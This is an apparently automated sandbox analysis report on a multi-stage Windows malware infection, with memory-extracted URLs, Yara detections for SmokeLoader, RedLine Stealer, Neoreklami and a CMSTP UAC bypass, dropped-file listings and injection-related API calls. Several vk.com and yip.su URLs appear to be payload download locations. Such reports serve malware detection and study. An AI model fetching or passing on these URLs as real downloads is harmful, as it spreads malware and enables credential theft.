Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org
Source: svchost.exe, 00000009.00000003.1390262007.000002B171657000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.1404251431.000002B171658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004460000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1482426691.0000000004EE0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.00000000043CE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1477395749.0000000004471000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/browser_reports?dest=default_reports
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478377141.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc5294803_669444172?hash=h9HNKFC3zZA9b76sO7xwyzGneP1GyF1iEy2xZ2jA5y8&dl=d94daMXVZFK5
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478377141.00000000043C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc5294803_669772653?hash=MJgzq2uHp4YpxKcxqN6PbWIkURu6KtrsshfCpnqBzv8&dl=rLosXazzKL04
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc5294803_669807694?hash=Sn8Y90pAESSpLPWQN3oshZSPomEZcURQihWHxCR6EjD&dl=cVTIDd6TPX72
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478377141.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc5294803_669811786?hash=8bhjD7NgoJ7mZZEUFcsdZsXzzoRwkNFDlJU5B89faFX&dl=nQsFZJcLQzXn
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478377141.00000000043C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc5294803_669843349?hash=9zPjskz2rlw4WpxESbjigfNghvMBCG7BIpLthkH7eKs&dl=usJOnLsECNfe
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1409059874.0000000000644000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414285258.0000000000644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/doc329118071_676158749?hash=wJqTXfnxe0acmwC4vumRgawHgxCuE6EviXjICmkirIT&dl=YVEMDGi
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/doc5294803_669444172?hash=h9HNKFC3zZA9b76sO7xwyzGneP1GyF1iEy2xZ2jA5y8&dl=d94daMXVZ
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1409059874.0000000000644000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414285258.0000000000644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/doc5294803_669772653?hash=MJgzq2uHp4YpxKcxqN6PbWIkURu6KtrsshfCpnqBzv8&dl=rLosXazzK
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1409059874.0000000000644000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414285258.0000000000644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/doc5294803_669807694?hash=Sn8Y90pAESSpLPWQN3oshZSPomEZcURQihWHxCR6EjD&dl=cVTIDd6TP
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1409059874.0000000000644000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414285258.0000000000644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/doc5294803_669811786?hash=8bhjD7NgoJ7mZZEUFcsdZsXzzoRwkNFDlJU5B89faFX&dl=nQsFZJcLQ
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1409059874.0000000000644000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414285258.0000000000644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/doc5294803_669843349?hash=9zPjskz2rlw4WpxESbjigfNghvMBCG7BIpLthkH7eKs&dl=usJOnLsEC
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1409059874.0000000000644000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414285258.0000000000644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/doc863235369_679548730?hash=VLR7cQ444BmBjXLp6la3lUFGFg05ZJB7nkcmssw9Kvz&dl=1NJlbpp
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.ru
Source: explorer.exe, 00000024.00000000.1373594900.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000024.00000000.1373594900.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000024.00000000.1419179675.00000000090F2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/
Source: explorer.exe, 00000024.00000000.1465540565.000000000C091000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: AddInProcess32.exe, 00000005.00000002.2604784378.0000000002A3F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002B92000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.instagram.com
Source: explorer.exe, 00000024.00000000.1373594900.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/what-to-do-if-a-worst-case-nuclear-scenario-actua
Source: explorer.exe, 00000024.00000000.1373594900.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b
Source: explorer.exe, 00000024.00000000.1373594900.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it
Source: explorer.exe, 00000024.00000000.1373594900.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-
Source: explorer.exe, 00000024.00000000.1373594900.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/music/news/6-rock-ballads-that-tug-at-the-heartstrings/ar-AA1hIdsm
Source: explorer.exe, 00000024.00000000.1373594900.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/vi
Source: explorer.exe, 00000024.00000000.1373594900.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/technology/prehistoric-comet-impacted-earth-and-triggered-the-switch-
Source: explorer.exe, 00000024.00000000.1373594900.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
Source: explorer.exe, 00000024.00000000.1373594900.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-world
Source: explorer.exe, 00000024.00000000.1373594900.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/accuweather-el-ni
Source: explorer.exe, 00000024.00000000.1373594900.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/here-s-who-could-see-above-average-snowfall-this-winter
Source: explorer.exe, 00000024.00000000.1373594900.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINt
Source: explorer.exe, 00000024.00000000.1373594900.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: explorer.exe, 00000024.00000000.1373594900.00000000071B1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.pollensense.com/
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yastatic.net
Source: AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C04000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002A43000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C57000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CB4000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yip.su
Source: AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C4D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CE9000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C87000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002B2D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C04000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CC5000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002B92000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002B04000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C65000.00000004.00000800.00020000.00000000.sdmp, aQ7CUsrnipUkMOjgF0nKuX1q.exe.5.dr, OEf7asb27AljF1U8YK72cN6l.exe.5.dr	String found in binary or memory: https://yip.su/RNWPd
Source: AddInProcess32.exe, 00000005.00000002.2604784378.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yip.su/RNWPd.exe
Source: AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C4D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002990000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CE9000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C77000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C87000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002B2D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C04000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.000000000299B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CC5000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C3D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002A3F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002B92000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CD9000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002B04000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002B1D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C65000.00000004.00000800.00020000.00000000.sdmp, aQ7CUsrnipUkMOjgF0nKuX1q.exe.5.dr, OEf7asb27AljF1U8YK72cN6l.exe.5.dr	String found in binary or memory: https://yip.su/redirect-

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 00000008.00000002.1710200327.0000000002E20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1731271507.0000000002F51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Spam, unwanted Advertisements and Ransom Demands

Yara detected Neoreklami

Source: Yara match

File source: Process Memory Space: Install.exe PID: 8020, type: MEMORYSTR

Writes many files with high entropy

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\EXHYoUWbk2EtGfzPiFxOh4fX.exe entropy: 7.99633338896	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\o3bvuCFHWJf8oEmP3T0jhkMM.exe entropy: 7.99633338896	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe entropy: 7.99633338896	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\gsV4lhPLd9AgpTxUWWWokC1J.exe entropy: 7.99633338896	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\rCs1RclDFMYQLymrwE3zboPd.exe entropy: 7.99633338896	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\PkqGBlFfXQGSePxTvCIfv7cw.exe entropy: 7.99633338896	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\gX97xQ1DxOEiWzmKIb4DOJWg.exe entropy: 7.99633338896	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\KFwijURKZUrjToqwGsuVqcsD.exe entropy: 7.99633338896	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\JRzNWYaVkGhoqBVKINyNWHZb.exe entropy: 7.99633338896	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\zl9WjeKTxMy8k8EbTBZdpElC.exe entropy: 7.99633338896	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\m1SrljFNqYeH3vArtbYAaVjK.exe entropy: 7.99633338896	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\jRw9sx4Ek0t13Tr93vMM8tJ1.exe entropy: 7.99633338896	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\JEeghWLvEc5NBgQe7cVxX86V.exe entropy: 7.99633338896	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\SMjkjKVfovgJQv0DVgLWunVz.exe entropy: 7.99633338896	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\Lxz6buRp1tzgPd3mYM1t5mGJ.exe entropy: 7.99633338896	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\eVDrCR1hP70QTfLbRAKhpUOl.exe entropy: 7.99633338896	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\5FLQaCVJzPf4A255tfj9dVCh.exe entropy: 7.99633338896	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\TZazqzIjmIm4XQvcJYbdkOMa.exe entropy: 7.99633338896	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\iuDvaF9Di8V3GPfVdVsLOQc6.exe entropy: 7.99633338896	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\iMXraNxDRLg4aVOpMn3cNrIf.exe entropy: 7.99633338896	Jump to dropped file
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	File created: C:\Users\user\Pictures\360TS_Setup.exe.P2P entropy: 7.99475810581	Jump to dropped file
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	File created: C:\Users\user\Pictures\360TS_Setup.exe (copy) entropy: 7.99475810581	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\setup[1].exe entropy: 7.99695778151	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\949yVhltZoP9AEITjUlYclGY.exe entropy: 7.99695778151	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\crt[1].exe entropy: 7.99904461084	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\sCKRGnz9ufcbydLPdvMHEgfk.exe entropy: 7.99904461084	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: lgX7lgUL1w.exe, type: SAMPLE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen
Source: 0.2.lgX7lgUL1w.exe.233c5000058.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen
Source: 0.0.lgX7lgUL1w.exe.7ff7e3570000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen
Source: 0.2.lgX7lgUL1w.exe.7ff7e3570000.3.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen
Source: 0.2.lgX7lgUL1w.exe.233c5000058.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen
Source: 0.2.lgX7lgUL1w.exe.233c4d28818.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen
Source: 00000026.00000002.2581381822.0000000002E20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000008.00000002.1706196423.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000008.00000002.1769205035.000000000301B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000008.00000002.1710200327.0000000002E20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000008.00000002.1731271507.0000000002F51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000026.00000002.2621741485.0000000002E5B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: C:\Users\user\lgX7lgUL1w.exe, type: DROPPED	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen

PE file contains section with special chars

Source: DYOHZPW0D22LInRRNxYgymyV.exe.5.dr	Static PE information: section name:
Source: DYOHZPW0D22LInRRNxYgymyV.exe.5.dr	Static PE information: section name:
Source: PBZVagSpvy50LOBQHCjW6qX9.exe.5.dr	Static PE information: section name:
Source: PBZVagSpvy50LOBQHCjW6qX9.exe.5.dr	Static PE information: section name:
Source: JRER40VeoC2Q4ducOjAkB8be.exe.5.dr	Static PE information: section name:
Source: JRER40VeoC2Q4ducOjAkB8be.exe.5.dr	Static PE information: section name:
Source: 2nhKzHIgDWCzStH9EAQv4dqj.exe.5.dr	Static PE information: section name:
Source: 2nhKzHIgDWCzStH9EAQv4dqj.exe.5.dr	Static PE information: section name:
Source: oZEH3cHEU5SysFjbUbbRDrah.exe.5.dr	Static PE information: section name:
Source: oZEH3cHEU5SysFjbUbbRDrah.exe.5.dr	Static PE information: section name:
Source: M5ZhHB9e1LKNIZlvmmjrpriI.exe.5.dr	Static PE information: section name:
Source: M5ZhHB9e1LKNIZlvmmjrpriI.exe.5.dr	Static PE information: section name:
Source: oabRgCI78gjFIFXr0JEwCrFT.exe.5.dr	Static PE information: section name:
Source: oabRgCI78gjFIFXr0JEwCrFT.exe.5.dr	Static PE information: section name:
Source: c12YwoiQ34lE0LgBRkxJOClX.exe.5.dr	Static PE information: section name:
Source: c12YwoiQ34lE0LgBRkxJOClX.exe.5.dr	Static PE information: section name:
Source: xCvbsgibKaoe0JrKdFZUHTO3.exe.5.dr	Static PE information: section name:
Source: xCvbsgibKaoe0JrKdFZUHTO3.exe.5.dr	Static PE information: section name:
Source: aqGWEPmkK0B9sJyfEBtpOpuJ.exe.5.dr	Static PE information: section name:
Source: aqGWEPmkK0B9sJyfEBtpOpuJ.exe.5.dr	Static PE information: section name:
Source: 04MMWMll6oQNYP44niQAKG8f.exe.5.dr	Static PE information: section name:
Source: 04MMWMll6oQNYP44niQAKG8f.exe.5.dr	Static PE information: section name:
Source: VEH3hOo7SH8Curivn14XA2XL.exe.5.dr	Static PE information: section name:
Source: VEH3hOo7SH8Curivn14XA2XL.exe.5.dr	Static PE information: section name:
Source: z7qYuSNnmN1T20mVDPQyJKNf.exe.5.dr	Static PE information: section name:
Source: z7qYuSNnmN1T20mVDPQyJKNf.exe.5.dr	Static PE information: section name:

Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_00401615 NtDuplicateObject,NtCreateSection,VirtualProtect,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	8_2_00401615
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_00401658 NtDuplicateObject,NtCreateSection,VirtualProtect,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	8_2_00401658
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_00403406 NtClose,LdrLoadDll,RtlZeroMemory,GetModuleHandleA,NtMapViewOfSection,NtDuplicateObject,NtQuerySystemInformation,NtOpenKey,strstr,tolower,towlower,	8_2_00403406
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_0040340F NtClose,LdrLoadDll,RtlZeroMemory,GetModuleHandleA,	8_2_0040340F
